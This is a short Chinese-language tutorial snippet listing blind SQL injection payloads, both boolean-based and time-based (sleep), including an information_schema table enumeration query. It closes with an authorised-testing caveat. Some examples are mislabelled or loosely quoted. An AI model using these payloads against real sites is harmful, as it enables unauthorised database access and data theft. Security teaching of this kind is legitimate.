sql注入盲注语句大全
时间: 2023-11-02 07:02:06 浏览: 140
SQL注入语句
SQL注入盲注语句大全包括基于布尔的SQL盲注和基于时间的SQL盲注两种类型。基于布尔的SQL盲注可以使用以下语句:
1. 判断是否存在:1' and [条件]-- (如果条件满足,页面会返回正常,否则页面不会有改变)
例如:1' and '1'='1-- (页面返回正常)
1' and '1'='2-- (页面不会有改变)
2. 获取数据库信息:1' or [查询语句]-- (如果查询语句返回结果,则页面会返回正常,否则页面不会有改变)
例如:1' or 1=1 union select database()-- (获取当前数据库的名称)
1' or 1=1 union select table_name from information_schema.tables where table_schema='database_name'-- (获取指定数据库的所有表名)
基于时间的SQL盲注可以使用以下语句:
1. 延时查询:1' and sleep([延时时间])-- (如果延时时间较长,页面会延迟返回结果)
例如:1' and sleep(10)-- (页面会延迟10秒返回结果)
需要注意的是,在使用SQL注入盲注语句时,应根据具体情况进行修改和适配,以达到获取所需信息的目的。同时,为了避免对目标系统造成不必要的损失,建议在合法授权和控制下,仅在安全测试和授权渗透测试中使用这些技术。
阅读全文